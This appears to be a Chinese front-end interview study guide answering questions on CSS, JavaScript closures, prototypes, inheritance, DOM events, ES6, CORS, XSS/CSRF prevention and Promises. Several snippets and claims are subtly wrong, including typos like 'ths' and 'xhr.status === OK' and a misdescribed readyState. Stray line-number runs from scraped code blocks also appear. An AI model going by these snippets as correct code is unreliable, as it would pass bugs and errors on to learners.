主要是用了一个手淘的js库flexible.js,在页面变化时,检测页面宽度,除以10份,动态的赋值给font-size.属性.;而页面的布局我是通过rem来进行布局的,所以就可以适配所有的移动端设备了

# 2.17 vw和vh了解吗

vw和vh是最近2年才慢慢火起来的css布局单位,现在已经被一些公司在使用,

vw和vh分别相对于屏幕宽度和屏幕高度的,1vw相当于屏幕宽度的1%,100vw相当于满屏宽度100%,

vh和vh类似,只不过是相对于屏幕高度的,1vh相当于屏幕高度的1%,100vh相当于满屏高度的100%,

# 2.18 你平时怎么写css(或者说佻用过css预处理器吗,用过Less和SASS吗?)

一般咱们说我平时写css用less,可以定义变量,嵌套,混入等功能,sass语法和less类似都是css预处理器,方便开发人员写快速高效写css

# JavaScript

# 3.1闭包

闭包说的通俗一点就是打通了一条在函数外部访问函数内部作用域的通道。正常情况下函数外部是访问不到函数内部作用域变量的,

表象判断是不是闭包:函数嵌套函数,内部函数被return 内部函数调用外层函数的局部变量

优点:可以隔离作用域,不造成全局污染

缺点:由于闭包长期驻留内存,则长期这样会导致内存泄露

如何解决内存泄露:将暴露全外部的闭包变量置为null

适用场景:封装组件,for循环和定时器结合使用,for循环和dom事件结合.可以在性能优化的过程中,节流防抖函数的使用,导航栏获取下标的使用

# 3.2说一下JS中的原型链的理解?

原型链是理解JS面向对象很重要的一点,这里主要涉及到两个点,一是_ _proto_ ,二是prototype,举个例子吧,这样还好说点,例如:我用function创建一个Person类,然后用new Person创建一个对象的实例假如叫p1吧,在Person类的原型 prototype添加一个方法,例如:play方法,那对象实例p1如何查找到play这个方法呢,有一个查找过程,具体流程是这样的:

首先在p1对象实例上查找是否有有play方法,如果有则调用执行,如果没有则用p1.__proto__(_proto_是一个指向的作用,指向上一层的原型)往创建p1的类的原型上查找,也就是说往Person.prototype上查找,如果在Person.prototype找到play方法则执行,否则继续往上查找,则用Person.prototye.__proto__继续往上查找,找到Object.prototype,如果Object.prototype有play方法则执行之,否则用Object.prototype.__proto__继续再往上查找,但Object.prototpye.__proto__上一级是null,也就是原型链的顶级,结束原型链的查找,这是我对原型链的理解

# 3.3说一下JS继承(含ES6的)--或者人家这样问有两个类A和B,B怎么继承A?

JS继承实现方式也很多,主要分ES5和ES6继承的实现

先说一下ES5是如何实现继承的

ES5实现继承主要是基于prototype来实现的,具体有三种方法

一是原型链继承:即 B.prototype=new A()

二是借用构造函数继承(call或者apply的方式继承)

function B(name,age) {

A.call(ths,name,age)

}
1
2
3
4
5

三是组合继承

组合继承是结合第一种和第二种方式

再说一下ES6是如何实现继承的

ES6继承是目前比较新,并且主流的继承方式,用class定义类,用extends继承类,用super()表示父类,【下面代码部分只是熟悉,不用说课】

例如:创建A类

class Aconstructor() {

//构造器代码,new时自动执行

}

方法1( ) { //A类的方法 }

方法2( ) { //A类的方法 }

}

创建B类并继承Aclass B extends A {

constructor() {

super() //表示父类

}

}

实例化B类: var b1=new B( )

b1.方法1( )
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

# 3.4说一下JS原生事件如何绑定

JS原生绑定事件主要为三种:

一是html事件处理程序

二是DOM0级事件处理程序

三是DOM2级事件处理程序

其中:html事件现在早已不用了,就是在html各种标签上直接添加事件,类似于css的行内样式,缺点是不好维护,因为散落在标签中,也就是耦合度太高

例如:<button onclick="事件处理函数">点我</button>

第二类是DOM0级事件,目前在PC端用的还是比较多的绑定事件方式,兼容性也好,主要是先获取dom元素,然后直接给dom元素添加事件

例如:var btn=document.getElementById('id元素')

btn.onclick=function() {

//要处理的事件逻辑

}
1
2
3
4
5

DOM0事件如何移除呢?很简单:btn.onclick=null;置为空就行

优点:兼容性好

缺点:只支持冒泡,不支持捕获

第三类是DOM2级事件,移动端用的比较多,也有很多优点,提供了专门的绑定和移除方法

例如: var btn=document.getElementById('id元素')

//绑定事件

btn.addEventListener('click',绑定的事件处理函数名,false)

//移除事件

btn.removeEventListener('click',要移除的事件处理函数名,false)

优点:支持给个元素绑定多个相同事件,支持冒泡和捕获事件机制

# 3.5说一下JS原生常用dom操作方法?

js原生dom操作方法有?

查找 getElementByid,

getElementsByTagName,

uerySelector,

querySelectorAll

插入:appendChild,insertBefore

删除:removeChild

克隆:cloneNode

设置和获取属性:setAttribute("属性名","值"),getAttibute("属性名")

# 3.6说一下ES6新增特性?

ES6新增特性常用的主要有:let/const,箭头函数,模板字符串,解构赋值,模块的导入(import)和导出(export default/export),Promise,还有一些数组字符串的新方法,其实有很多,我平时常用的就这些

# 3.7(了解)JS设计模式有哪些(单例模式观察者模式等)

JS设计模式有很多,但我知道的有单例模式,观察者模式

单例模式:就是保证一个类只有一个实例,实现的方法一般是先判断实例存在与否,如果存在直接返回,如果不存在就创建了再返回,这就确保了一个类只有一个实例对象。在JavaScript里,单例作为一个命名空间提供者,从全局命名空间里提供一个唯一的访问点来访问该对象。

观察者模式: 观察者的使用场合就是:当一个对象的改变需要同时改变其它对象,并且它不知道具体有多少对象需要改变的时候,就应该考虑使用观察者模式。

总的来说,观察者模式所做的工作就是在解耦,让耦合的双方都依赖于抽象,而不是依赖于具体。从而使得各自的变化都不会影响到另一边的变化

# 3.8说一下你对JS面试对象的理解

JS面向对象主要基于function来实现的,通过function来模拟类,通过prototype来实现类方法的共享,跟其他语言有着本质的不同,自从有了ES6后,把面向对象类的实现更像后端语言的实现了,通过class来定义类,通过extends来继承父类,其实ES6类的实现本质上是一个语法糖,不过对于开发简单了好多。

# 3.9说一下JS数组常用方法(至少6个)

在开发中,数组使用频率很频繁,JS数组常用方法有:push,pop,unshift,shift,splice,join,concat,forEach,filter,map,sort,some,every好多,不过都是平时开发中很常用的方法,大家可以补充一点儿es6的

# 3.10说一下JS数组内置遍历方法有哪些和区别

JS数组内置遍历(遍历就是循环的意思)方法主要有:

**forEach:**这个方法是为了取代for循环遍历数组的,返回值为undefined例如:

let arrInfo=\[4,6,6,8,5,7,87\]

arrInfo.forEach((item,index,arr)=>{

//遍历逻辑

})
1
2
3
4
5
6
7

其中:

item代码遍历的每一项,

index:代表遍历的每项的索引,

arr代表数组本身

**filter:**是一个过滤遍历的方法,如果返回条件为true,则返回满足条件为true的新数组

let arrInfo=[4,16,6,8,45,7,87]

let resultArr=arrInfo.filter((item,index,arr)=>{

//例如返回数组每项值大于9的数组

return item>9

})

**map:**这个map方法主要对数组的复杂逻辑处理时用的多,特别是react中遍历数据,也经常用到,写法和forEach类似

**some:**这个some方法用于只要数组中至少存在一个满足条件的结果,返回值就为true,否则返回fasel, 写法和forEach类似

**every:**这个every方法用于数组中每一项都得满足条件时,才返回true,否则返回false, 写法和forEach类似

# 3.11说一下JS作用域和作用域链

JS作用域也就是JS识别变量的范围,作用域链也就是JS查找变量的顺序

先说作用域,JS作用域主要包括全局作用域、局部作用域和ES6的块级作用域

全局作用域:也就是定义在window下的变量范围,在任何地方都可以访问,

局部作用域:是只在函数内部定义的变量范围

块级作用域:简单来说用let和const在任意的代码块中定义的变量都认为是块级作用域中的变量,例如在for循环中用let定义的变量,在if语句中用let定义的变量等等

注:尽量不要使用全局变量,因为容易导致全局的污染,命名冲突,对bug查找不利。

而所谓的作用域链就是由最内部的作用域往最外部,查找变量的过程.形成的链条就是作用域链

# 3.12 说一下从输入URL到页面加载完中间发生了什么?

大致过程是这样的:

DNS解析

TCP连接

发送HTTP请求

服务器处理请求并返回需要的数据

浏览器解析渲染页面

连接结束

输入了一个域名,域名要通过DNS解析找到这个域名对应的服务器地址(ip),通过TCP请求链接服务,通过WEB服务器(apache)返回数据,浏览器根据返回数据构建DOM树,通过css渲染引擎及js解析引擎将页面渲染出来,关闭tcp连接

# 3.13 说一下JS事件代理(也称事件委托)是什么,及实现原理?

JS事件代理就是通过给父级元素(例如:ul)绑定事件,不给子级元素(例如:li)绑定事件,然后当点击子级元素时,通过事件冒泡机制在其绑定的父元素上触发事件处理函数,主要目的是为了提升性能,因为我不用给每个子级元素绑定事件,只给父级元素绑定一次就好了,在原生js里面是通过event对象的targe属性实现

var ul = document.querySelector("ul");

ul.onclick = function(e){//e指event,事件对象

var target = e.target || e.srcElement; //target获取触发事件的目标(li)

if(target.nodeName.toLowerCase() == 'li'){//目标(li)节点名转小写字母,不转的话是大写字母

alert(target.innerHTML)

}

}

jq方式实现相对而言简单 $("ul").on("click","li",function(){//事件逻辑}) 其中第二个参数指的是触发事件的具体目标,特别是给动态添加的元素绑定事件,这个特别起作用

# 3.14 说一下JS数据类型有哪些?

JS数据类型有:

基本数据类型:number,string,Boolean,null,undefined,symbol(ES6新增)

复合类型:Object,function

# 3.15 说一下call,apply,bind区别

call,apply,bind主要作用都是改变this指向的,但使用上略有区别,说一下区别:

call和apply的主要区别是在传递参数上不同,call后面传递的参数是以逗号的形式分开的,apply传递的参数是数组形式 [Apply是以A开头的,所以应该是跟Array(数组)形式的参数]

bind返回的是一个函数形式,如果要执行,则后面要再加一个小括号 例如:bind(obj,参数1,参数2,)(),bind只能以逗号分隔形式,不能是数组形式

# 3.16 null和undefined的差异

大体说一下,想要知其所以然请引擎搜索

相同点:

  • 在 if判断语句中,值都默认为 false

  • 大体上两者都是代表,具体看差异

差异:

  • null转为数字类型值为0,而undefined转为数字类型为 NaN(Not a Number)

  • undefined是代表调用一个值而该值却没有赋值,这时候默认则为undefined

  • null是一个很特殊的对象,最为常见的一个用法就是作为参数传入(说明该参数不是对象)

  • 设置为null的变量或者对象会被内存收集器回收

# 3.17 JS 的DOM 操作(Node节点获取及增删查改)

  • 获取(太多了,有document.getElementById/ClassName/Name/TagName 等,或者 querySelector)
// example

// get Node

var element = document.querySelector(\'#test\');

// 追加

element.appendChild(Node);

// 删除

element.removeChild(Node);

// 查找

element.nextSibling // 获取元素之后的兄弟节点 , 会拿到注释文本,空白符这些

element.nextElementSibling // 等同, 获取标签(不会拿到注释文本这些)

element.previousSibling // 和上面同理,往前找兄弟节点

element.previousElementSibling

// 改动,比如 属性这些

element.setAttribute(name, value); // 增加属性

element.removeAttribute(attrName); //删除属性

// 来一个简易的练习题,随便一个网页追加插入一块DOM(非覆盖:不能 innerHTML);

/\*

\<div id=\"test\"\>

\<span>Hello, World\</span>

\</div>

\*/

// 以上面的例子为例

var test = document.createElement(\'div\'); // 创建一个块级元素

test.setAttribute(\"id\",\"test\"); // 设置其id 属性

var span = document.createElement(\'span\'); // 创建一个 span

span.innerText = \"Hello,world\"; // 插入 span 的文本内容

test.appendChild(span); // 组合节点

element.appendChild(test); //追加到某个节点区域
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

# 3.18 给一个 DOM添加捕获和冒泡的两种写法的事件点击,谁先执行

分情况分析:

  • 有拿到节点的,优先捕获,没有才往上冒泡寻找

  • 若是通过node.addEventListener('event',callback,bubble or capture); 谁先调用谁先执行

# 3.19 谈谈你对ajax 的理解,以及用原生 JS 实现有哪些要点需要注意

ajax全称是异步 javascript 和 XML,用来和服务端进行数据交互的,让无刷新替换页面数据成了可能;

至于有哪些要要点,来一个简短的ajax请求

var xhr = new XMLHttpRequest(); // 声明一个请求对象

xhr.onreadystatechange = function(){

if(xhr.readyState === 4){ // readyState 4 代表已向服务器发送请求

if(xhr.status === OK){ // // status 200 代表服务器返回成功

console.log(xhr.responseText); // 这是返回的文本

} else{

console.log(\"Error: \"+ xhr.status); // 连接失败的时候抛出错误

}

}

}

xhr.open(\'GET\', \'xxxx\');

// 如何设置请求头? xhr.setRequestHeader(header, value);

xhr.setRequestHeader(\'Content-Type\', \'application/json\');

xhr.send(null); // get方法 send null(亦或者不传,则直接是传递 header) ,post 的 send 则是传递值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

# 3.20 JS 实现一个闭包函数,每次调用都自增1

这里主要考察了闭包,函数表达式以及 IIFE(立即执行表达式)

var add = (function() {

// 声明一变量,由于下面 return所以变量只会声明一次

var count = 0;

return function() {

return console.log(count++);

};

})();

add(); // 0

add(); // 1

add(); // 2

### 3.21 \[\'1\',\'2\',\'3\'\].map(parseInt) 输出什么,为什么?

\[\'1\',\'2\',\'3\'\].map(parseInt); // \[1,NaN,NaN\]

// 刨析

// map有三个参数:数组元素,元素索引,原数组本身

// parseInt有两个参数,元素本身以及进制

// 理清了这两个就好办了\...

// \[\'1\',\'2\',\'3\'\].map(parseInt); 等于如下

\[\'1\',\'2\',\'3\'\].map(function(item,index,array){

return parseInt(item,index); // 是不是一目了然

});

// parseInt(\"1\",0); => 1

// parseInt(\"2\",1); => NaN

// parseInt(\"3\",2); => NaN

### 3.22 对数组\[1,2,3,4,5,\'6\',7,\'8\',\'a\',\'b\',\'z\'\]进行乱序

// 我们依旧可以用上面的 sort 的原理实现乱序

let tempArr = \[1,2,3,4,5,\'6\',7,\'8\',\'a\',\'b\',\'z\'\].sort(function(){

return Math.random() \> 0.5 ? -1 : 1;

})

// 因为里面有随机数,所以答案没有标准答案,我这边跑了一次是输出这个

//\[\"6\", \"z\", 3, \"b\", 5, 2, 7, \"8\", \"a\", 1, 4\]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59

# 3.23 求[1, 10, 11, -1,'-5',12, 13, 14, 15, 2, 3, 4, 7, 8, 9]内最大值与最小值之差

// 来一个很粗糙的版本,只当传入是数组且可以隐性转为数字的

function MaxMinPlus(arr) {

// 返回最大值与最小值之差

return Array.isArray(arr) ? Math.max.apply(Math, arr) - Math.min.apply(Math, arr) : console.log(\'传入的不是数组亦或者未能解决的错误\')

}

// 结果是 20

// 若是要完善的话,要考虑传入的是非数组,

//传入字符串的时候要判断,然后切割为数组..

// 都要考虑进去代码量不短

### 3.24 请给Array实现一个方法,去重后返回重复的字符(新数组)

var testArr = \[1,6,8,3,7,9,2,7,2,4,4,3,3,1,5,3\];

Array.prototype.extraChar = function(){

var cacheExtraChar = \[\]; // 缓存重复出现的字符

var that = this; // 缓存 this;

this.map(function(item,index){

// 怎么理解这段代码呢?

// 就是向前往后查找一遍和从后往前查找一遍,不等就是没有重复

// 为什么还要判断一遍缓存,是过滤缓存数组内多次写入

(that.indexOf(item) !== that.lastIndexOf(item)) && cacheExtraChar.indexOf(item) === -1 ? cacheExtraChar.push(item) : -1;

});

return cacheExtraChar;

}

testArr.extraChar(); // \[1, 3, 7, 2, 4\]

// 若是还需要排序就再排序下

\[1,6,8,3,7,9,2,7,2,4,4,3,3,1,5,3\]

.extraChar()

.sort(function(a,b){return a-b}) // \[1, 2, 3, 4, 7\]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

# 3.25 一个数组中 par中存放了多个人员的信息,每个人员的信息由 name 和 age 构成({name:'张三',age:15}).请用 JS 实现年龄从小到大的排序;

var par = [{age:5,name:'张三'},{age:3,name:'李四'},{age:15,name:'王五'},{age:1,name:'随便'}]

var parSort = par.sort(function(a,b){

return a.age - b.age;

})

# 3.26 判断一个回文字符串和同字母异序字符串

  • 回文字符串就是正序倒序都是一样的;

  • 同字母异序字符串则是字符串都一样,但是位置可能不一定一样,比如abcefd和dceabf=>return true

后者的思路就是用排序把异序扭正..

普通版

// 回文判断 , 比如用 abcba

var isPalindromes = function(params){

params = params.toString().toLowerCase()

return params === params.split('').reverse().join('');

}

// 同字母异序判定,比如`abcefd`和`dceabf`

var isAnagram = function(str1, str2) {

str1 = str1.toString().toLowerCase();

str2 = str2.toString().toLowerCase();

return str1.split('').sort().join('') === str2.split('').sort().join('')

}

进阶版:多一些特殊字符

若是我们要去除所有非字母数字的字符,则需要用到正则

// 进阶版: isPalindromes('abc_ &b #@a')

var isPalindromes = function(params){

// 传入参数先转为字符串且全部转为小写,最后去除多余字符比较

params = params.toString().toLowerCase().replace(/[\W_\s]/g,'');

console.log(params)

return params === params.split('').reverse().join('');

}

// 进阶版同字母异序: isAnagram('ab *&cef#d','!d@ce^abf')

var isAnagram = function(str1, str2) {

str1 = str1.toString().toLowerCase().replace(/[\W_\s]/g,'');

str2 = str2.toString().toLowerCase().replace(/[\W_\s]/g,'');

return str1.split('').sort().join('') === str2.split('').sort().join('')

}

# 3.27 JS 实现String.trim()方法;

// 原生是有 trim()方法的.我们要模拟一个;

String.prototype.emuTrim = function(){

// 这条正则很好理解,就是把头部尾部多余的空格字符去除

return this.replace(/(^\s*)|(\s*$)/g,'');

}

' fsaf fsdaf f safl lllll '.emuTrim(); //"fsaf fsdaf f safl lllll"

# 3.28 JS 实现函数运行一秒后打印输出0-9;给定如下代码

for(var i=0;i<10;i++){

// TODO

}

  • 解法

// 这道题涉及到作用域

for(var i=0;i<10;i++){

setTimeout((function(i){

return function(){

console.log(i);

}

})(i),1000);

}

若是用到 ES6...那简直不能再简便了

for(let i=0;i<10;i++){

setTimeout(function(){

console.log(i);

},1000);

}

# 3.29 实现对一个数组或者对象的浅拷贝和"深度"拷贝

浅拷贝就是把属于源对象的值都复制一遍到新的对象,不会开辟两者独立的内存区域;

深度拷贝则是完完全全两个独立的内存区域,互不干扰

  • 浅拷贝

// 这个 ES5的

function shallowClone(sourceObj) {

// 先判断传入的是否为对象类型

if (!sourceObj || typeof sourceObj !== 'object') {

console.log('您传入的不是对象!!')

}

// 判断传入的 Obj是类型,然后给予对应的赋值

var targetObj = sourceObj.constructor === Array ? [] : {};

// 遍历所有 key

for (var keys in sourceObj) {

// 判断所有属于自身原型链上的 key,而非继承(上游 )那些

if (sourceObj.hasOwnProperty(keys)) {

// 一一复制过来

targetObj[keys] = sourceObj[keys];

}

}

return targetObj;

}

// ES6 可以用 Object.assign(targeObj, source1,source2,source3) 来实现对象浅拷贝

  • 深度拷贝

// 就是把需要赋值的类型转为基本类型(字符串这些)而非引用类型来实现

// JOSN对象中的stringify可以把一个js对象序列化为一个JSON字符串,parse可以把JSON字符串反序列化为一个js对象

var deepClone = function(sourceObj) {

if (!sourceObj || typeof sourceObj !== 'object') {

console.log('您传入的不是对象!!');

return;

}

// 转->解析->返回一步到位

return window.JSON

? JSON.parse(JSON.stringify(sourceObj))

: console.log('您的浏览器不支持 JSON API');

};

# 3.30 this对象的理解

简言之:谁调用指向谁,运行时的上下文确定,而非定义的时候就确定;

强行绑定 this的话,可以用 call,apply,bind,箭头函数....来修改this的指向

这类的文章太多,自行搜索吧....

Q: 看到你说到 bind,能用 JS简单的模拟个么?

Function.prototype.emulateBind = function (context) {

var self = this;

return function () {

return self.apply(context);

}

}

这个实现很粗糙...更为详细全面,考虑周全的(比如参数的处理什么的)...自行谷歌.

# 3.31 JS 的作用域是什么?有什么特别之处么?

作用域就是有它自身的上下文区域(比如函数内),内部会有变量声明提升,函数声明提升这些;

函数声明提升优于变量声明提升..

作用域有全局作用域和块级作用域(局部,比如用 let 或者单纯花括号的);

作用域会影响this的指向

坐等补充,我回答的时候,面试大佬只是 嗯..恩...恩...也不知道具体如何

# 3.31 怎么解决跨域问题,有哪些方法...

我一般用这三种,cors,nginx反向代理,jsonp

jsonp : 单纯的 get 一些数据,局限性很大...就是利用script标签的src属性来实现跨域。

nginx 反向代理: 主要就是用了nginx.conf内的proxy_pass http://xxx.xxx.xxx,会把所有请求代理到那个域名,有利也有弊吧..

cors的话,可控性较强,需要前后端都设置,兼容性 IE10+ ,比如

Access-Control-Allow-Origin: http://foo.example // 子域乃至整个域名或所有域名是否允许访问

Access-Control-Allow-Methods: POST, GET, OPTIONS // 允许那些行为方法

Access-Control-Allow-Headers: X-PINGOTHER, Content-Type // 允许的头部字段

Access-Control-Max-Age: 86400 // 有效期

Q: 对于想携带一些鉴权信息跨域如何走起?比如cookie!

需要配置下 header Access-Control-Allow-Credentials:true ,具体用法看下面的nginxdemo

当然cros的配置不仅仅这些,还有其他一些,具体引擎吧....

若是我们要用 nginx或者 express 配置cors应该怎么搞起? 来个简易版本的

nginx

location / {

\# 检查域名后缀

add_header Access-Control-Allow-Origin xx.xx.com;

add_header Access-Control-Allow-Methods GET,POST,OPTIONS;

add_header Access-Control-Allow-Credentials true;

add_header Access-Control-Allow-Headers DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type;

add_header Access-Control-Max-Age 86400;

}

express, 当然这货也有一些别人封装好的 cors中间件,操作性更强\...

let express = require(\'express\');

let app = express();

//设置所有请求的头部

app.all(\'\*\', (req, res, next) => {

res.header(\"Access-Control-Allow-Origin\", \"xx.xx.com\");

res.header(\"Access-Control-Allow-Headers\", \"DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type\");

res.header(\"Access-Control-Allow-Credentials\",\"true\")

res.header(\"Access-Control-Allow-Methods\",\"PUT,POST,GET,DELETE,OPTIONS\");

next();

});
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

有些还会跟你死磕,,除了这些还有其他姿势么...我说了一个HTML5的postMessage....

..因为真心没用过,只是以前查阅的时候了解了下..只能大体点下

这货用于iframe 传递消息居多, 大体有这么两步步

window打开一个实例,传递一个消息到一个x域名

x 域名下监听message事件,获取传递的消息

这货的兼容性没那么好,而且没考虑周全下容易遭受 CSRF 攻击

# 3.32 对于XSS 和 CSRF 如何防范

这里就不说概念性的东西了

XSS的防范

我能想到的就是转义<>这些造成代码直接运行的的标签..轮询或者正则替换

而面试官说这种的效率最低下,我回来仔细找了找相关资料好像没有更优方案...有的留言...

若是有用到 cookie,设置为http-only,避免客户端的篡改

CSRF的防范一般这几种

验证码,用户体验虽然不好,,但是很多场合下可以防范大多数攻击

验证 HTTP Referer 字段,判断请求来源

token加密解密,这种是目前很常用的手段了...

任何防范都有代价的,比如验证码造成的体验不好,token滥用造成的性能问题,轮询替换造成的响应时间等

# 3.33 描述下cookie,sessionStorage,localSotrage的差异..

  • cookie : 大小4KB 左右,跟随请求(请求头),会占用带宽资源,但是若是用来判断用户是否在线这些挺方便

  • sessionStorage和localStorage大同小异,大小看浏览器支持,一般为5MB,数据只保留在本地,不参与服务端交互.

    • sessionStorage的生存周期只限于会话中,关闭了储存的数据就没了.

    • localStorage则保留在本地,没有人为清除会一直保留

# 3.34 javascript的原型链你怎么理解?

原型链算是 JS 内一种独有的机制,

所有对象都有一个内置[[proto]]指向创建它的原型对象(prototype)

原型链的基本用来实现继承用的

# 3.35 javascript里面的继承怎么实现,如何避免原型链上面的对象共享

我在写的时候,用了两种,一个是 ES5和 ES6的方案

ES5:寄生组合式继承:通过借用构造函数来继承属性和原型链来实现子继承父。

function ParentClass(name) {

this.name = name;

}

ParentClass.prototype.sayHello = function () {

console.log("I'm parent!" + this.name);

}

function SubClass(name, age) {

//若是要多个参数可以用apply 结合 ...解构

ParentClass.call(this, name);

this.age = age;

}

SubClass.prototype = Object.create(ParentClass.prototype);

SubClass.prototype.constructor = SubClass;

SubClass.prototype.sayChildHello = function (name) {

console.log("I'm child " + this.name)

}

let testA = new SubClass('CRPER')

// Object.create()的polyfill

/*

function pureObject(o){

//定义了一个临时构造函数

function F() {}

//将这个临时构造函数的原型指向了传入进来的对象。

F.prototype = obj;

//返回这个构造函数的一个实例。该实例拥有obj的所有属性和方法。

//因为该实例的原型是obj对象。

return new F();

}

*/

ES6: 其实就是ES5的语法糖,不过可读性很强..

class ParentClass {

constructor(name) {

this.name = name;

}

sayHello() {

console.log("I'm parent!" + this.name);

}

}

class SubClass extends ParentClass {

constructor(name) {

super(name);

}

sayChildHello() {

console.log("I'm child " + this.name)

}

// 重新声明父类同名方法会覆写,ES5的话就是直接操作自己的原型链上

sayHello(){

console.log("override parent method !,I'm sayHello Method")

}

}

let testA = new SubClass('CRPER')

# 3.36 ES6+你熟悉么,用过哪些特性?

  • 箭头函数

  • 类及引入导出和继承( class/import/export/extends)

  • 字符串模板

  • Promise

  • let,const

  • async/await

  • 默认参数/参数或变量解构装饰器

  • Array.inclueds/String.padStart|String.padEnd/Object.assign

# 3.37 let 和 const 有啥差异?

  • let 会产生块级作用域,不会造成变量提升,无法重新声明(但可以重新赋值);

  • const

    • 是常量,若是基本数据类型,具有不变性(无法重新赋值改动)

    • 引用值可以调整内部值(可能设计的时候没有考虑周全!

# 3.38 async和await的用途?

  • 让 promise 的异步变成同步运行成了可能,await 可以等到 promise 执行完毕

# 3.39 箭头函数的this指向谁?

肯定很多小伙伴会说指向局部方法内!!答案是错误的...

箭头函数所改变的并非把 this 局部化,而是完全不把 this 绑定到里面去;

就是 this 是取自外部的上下级作用域(但是又不是常规 function的语法糖)..

因为箭头函数里并不支持 var self = this 或者 .bind(this) 这样的写法。

# 3.40 问的时候你用过静态方法,静态属性,私有变量么?

静态方法是ES6之后才有这么个玩意,有这么些特点

方法不能给 this引用,可以给类直接引用

静态不可以给实例调用,比如 let a = new ParentClass => a.sayHello() 会抛出异常

父类静态方法,子类非static方法没法覆盖父类

静态方法可以给子类继承

静态属性可以继承也可以被修改

看下面的代码..

class ParentClass {

constructor(name) {

this.name = name;

}

static sayHello() {

console.log(\"I\'m parent!\" + this.name);

}

static testFunc(){

console.log(\'emm\...Parent test static Func\')

}

}

class SubClass extends ParentClass {

constructor(name) {

super(name);

}

sayChildHello() {

console.log(\"I\'m child \" + this.name)

}

static sayHello() {

console.log(\"override parent method !,I\'m sayHello Method\")

}

static testFunc2() {

console.log(super.testFunc() + \'fsdafasdf\');

}

}

ParentClass.sayHello(); // success print

let a = new ParentClass(\'test\');

a.sayHello() // throw error

SubClass.sayHello(); // 同名 static 可以继承且覆盖

SubClass.testFunc2(); // 可以继承

let testA = new SubClass(\'CRPER\');
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61

私有变量这个我没答出来,只是说了下没有private这个关键字和基本用下划线的人为区分

所以回来只是找了下相关的资料,发现有一个比较好的模拟方案,就是WeakMap;

WeakMap可以避免内存泄露,当没有被值引用的时候会自动给内存寄存器回收了.

const \_ = new WeakMap(); // 实例化,value 必须为对象,有 delete,get,has,set四个方法,看名字都知道了

class TestWeakMap {

constructor(id, barcode) {

\_.set(this, { id,barcode });

}

testFunc() {

let { id,barcode } = \_.get(this); // 获取对应的值

return { id,barcode };

}

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

当然你也可以用Symbol来实现一个私有变量,这也是一个好法子

# 3.41 谈谈你对 Promise 的理解? 和 ajax 有关系么?

Promise和ajax没有半毛钱直接关系.promise只是为了解决"回调地狱"而诞生的;

平时结合 ajax是为了更好的梳理和控制流程...这里我们简单梳理下..

Promise有三种状态,Pending/resolve()/reject();

一些需要注意的小点,如下

  • 在 Pending 转为另外两种之一的状态时候,状态不可在改变..

  • Promise的 then为异步.而(new Promise())构造函数内为同步

  • Promise的catch不能捕获任意情况的错误(比如 then 里面的setTimout内手动抛出一个Error)

  • Promise的then返回Promise.reject()会中断链式调用

  • Promise的 resolve若是传入值而非函数,会发生值穿透的现象

  • Promise的catch还是then,return的都是一个新的 Promise(在 Promise 没有被中断的情况下)

Promise 还有一些自带的方法,比如race,all,前者有任一一个解析完毕就返回,后者所有解析完毕返回...

实现一个延时的 promise 函数, 可以用async和await

const delay = (time)=> new Promise((resolve,reject)=>{

setTimeout(resolve,time)

})

// test

let testRun = async function(){

console.log(1);

await delay(2000);

console.log(\'我两秒后才触发\',3)

}

// 1 => Promise = \> 3

这段代码的运行结果是什么?

var test = new Promise((resolve,reject)=>{

resolve();

});

test

.then(data => {

// promise start

console.log(\'promise first then : \', data);

return Promise.resolve(1); // p1

})

.then(data => {

// promise p1

console.log(\'get parent(p1) resolve data : \', data);

return Promise.reject(new Error(\'哎呀,中断了,你能奈我何!\')); // p2

})

.then(data => {

// promise p2

console.log(\'result of p2: \', data);

return Promise.resolve(3); // p3

})

.catch(err => {

console.log(\'err: \', err);

return false;

});

// promise first then : undefined

// get parent(p1) resolve data : 1

// err: Error: 哎呀,中断了,你能奈我何!

// 这里在 then 返回 Promise.reject()的时候已经中断了链式调用.直接给 catch捕获到
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75

别急,假如你不管有没有捕获到错误,最后再执行一个回调函数如何实现?

这里说的就是类似try..catch..finally,给Promise实现一个 finally;

// finally比较好加,按照现在社区的讨论,finally的特点如下:

// url : https://www.v2ex.com/t/205715

//1. 不接收任何参数,原来的value或者Error在finally里是收不到的

//2. 处理后不影响原Promise的状态,该reject还是reject,该resolve还是resolve

//3. 不影响Promise向后传递的传,resolve状态还是传递原来的value,reject状态还是传递原来的Error

Promise.prototype.finally = function (callback) {

let P = this.constructor; // 这里拿到的是 Promise 的构造函数

//不管前面的 Promise 是fulfilled还是rejected,都会执行回调函数callback。

return this.then(

value => P.resolve(callback()).then(() => value),

reason => P.resolve(callback()).then(() => { throw reason })

);

};

// 用法很简单,就是可以传入一个回调函数..

// https://developers.google.com/web/updates/2017/10/promise-finally

// 这个 url 中说了 node 及 chrome 的哪些版本已经实现了 finally 及用法

// ES 2018已经把 finally 追加到 promise 的原型链中..
